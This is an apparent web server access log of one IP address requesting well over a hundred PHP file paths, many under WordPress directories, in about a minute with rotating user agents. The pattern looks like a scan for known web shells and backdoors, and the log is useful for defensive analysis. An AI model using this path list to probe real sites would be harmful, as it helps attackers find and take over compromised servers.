[09/Feb/2026:04:15:28 +0300] "GET /wp-includes/widgets/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:29 +0300] "GET /include/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:29 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:30 +0300] "GET /wp-includes/class-wp-language-pack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:15:30 +0300] "GET /js/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:31 +0300] "GET /wp-includes/class-walker-comment-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:15:31 +0300] "GET /about/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:32 +0300] "GET /file/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:32 +0300] "GET /function/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:15:32 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:33 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:33 +0300] "GET /wp-includes/class-wp-network-query-stat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:34 +0300] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:34 +0300] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:34 +0300] "GET /wp-includes/class-wp-session-tokens-https.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:35 +0300] "GET /wp-admin/js/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:15:35 +0300] "GET /images/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:15:36 +0300] "GET /wp-includes/images/crystal/lrs_dage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:36 +0300] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:37 +0300] "GET /wp-includes/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:37 +0300] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:15:37 +0300] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:38 +0300] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:38 +0300] "GET /wp-includes/customize/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:39 +0300] "GET /css/fan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:39 +0300] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:15:39 +0300] "GET /images/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:15:40 +0300] "GET /wp-content/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:40 +0300] "GET /wp-admin/css/colors/ectoplasm/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:15:41 +0300] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:15:41 +0300] "GET /wp-includes/js/thickbox/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:15:42 +0300] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:42 +0300] "GET /wp-content/themes/twentytwentyfour/icascreenshots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:15:42 +0300] "GET /wp-content/upgrade/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:43 +0300] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:43 +0300] "GET /wp-admin/css/colors/ocean/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.92.26.12 - - [09/Feb/2026:04:15:44 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.92.26.12 - - [09/Feb/2026:04:15:44 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:45 +0300] "GET /wp-includes/certificates/past.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:45 +0300] "GET /wp-content/uploads/2021/faiyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:45 +0300] "GET /css/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:15:46 +0300] "GET /wp-content/plugins/pwnd/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:46 +0300] "GET /wp-includes/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:15:47 +0300] "GET /wsax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:15:47 +0300] "GET /bless.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:47 +0300] "GET /wp-content/uploads/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:48 +0300] "GET /templates/beez3/dbcthbohhr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:48 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:49 +0300] "GET /wp-content/themes/tflow/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:49 +0300] "GET /wp-includes/css/dist/footer-default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:50 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:50 +0300] "GET /wp-includes/widgets/class-wp-widget-meta-request.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:50 +0300] "GET /wp-content/plugins/pwnd/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:15:51 +0300] "GET /wp-includes/css/dist/edit-widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:51 +0300] "GET /wp-content/plugins/ubh/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:52 +0300] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:15:52 +0300] "GET /wp-includes/l10n/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:15:52 +0300] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:53 +0300] "GET /wp-admin/js/widgets/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:53 +0300] "GET /uploads/xsec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:15:54 +0300] "GET /images/Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.92.26.12 - - [09/Feb/2026:04:15:54 +0300] "GET /wp-content/plugins/pwnd-1/kurd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:55 +0300] "GET /wp-content/themes/tflow/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:55 +0300] "GET /wp-content/languages/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:56 +0300] "GET /wp-content/uploads/fileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:56 +0300] "GET /wp-includes/widgets/wp-ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:15:56 +0300] "GET /wp-includes/IXR/xsec1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:15:57 +0300] "GET /admin.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:57 +0300] "GET /wp-admin/css/colors/hong1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:15:58 +0300] "GET /wp-admin/maint/byps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:15:58 +0300] "GET /wp-includes/images/crystal/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:15:59 +0300] "GET /wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:15:59 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:16:00 +0300] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:00 +0300] "GET /wp-includes/class-phpmailer-beta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:00 +0300] "GET /wp-includes/ms-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:01 +0300] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:01 +0300] "GET /wp-includes/widgets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:16:02 +0300] "GET /images/news_event/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:02 +0300] "GET /chosen.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:03 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:03 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:03 +0300] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:04 +0300] "GET /page.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:16:04 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:05 +0300] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:05 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:06 +0300] "GET /wp-content/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:06 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:16:06 +0300] "GET /assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:07 +0300] "GET /wp-includes/SimplePie/XML/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:16:07 +0300] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:08 +0300] "GET /wp-content/1.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:08 +0300] "GET /wp-admin/css/colors/blue/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:16:09 +0300] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:09 +0300] "GET /wp-includes/assets/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:09 +0300] "GET /.well-known/acme-challenge/gecko-old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:10 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:10 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:11 +0300] "GET /wp-includes/widgets/class-wp-nav-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:11 +0300] "GET /x/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:16:12 +0300] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.92.26.12 - - [09/Feb/2026:04:16:12 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:12 +0300] "GET /wp-admin/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:13 +0300] "GET /wp-includes/sitemaps/providers/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:13 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:16:14 +0300] "GET /wp-includes/rest-api/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:16:15 +0300] "GET /wp-includes/fonts/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:15 +0300] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:15 +0300] "GET /wp-content/plugins/pwnd-1/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:16:16 +0300] "GET /wp-admin/js/widgets/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:16 +0300] "GET /wp-includes/images/smilies/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:17 +0300] "GET /wp-admin/css/colors/light/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 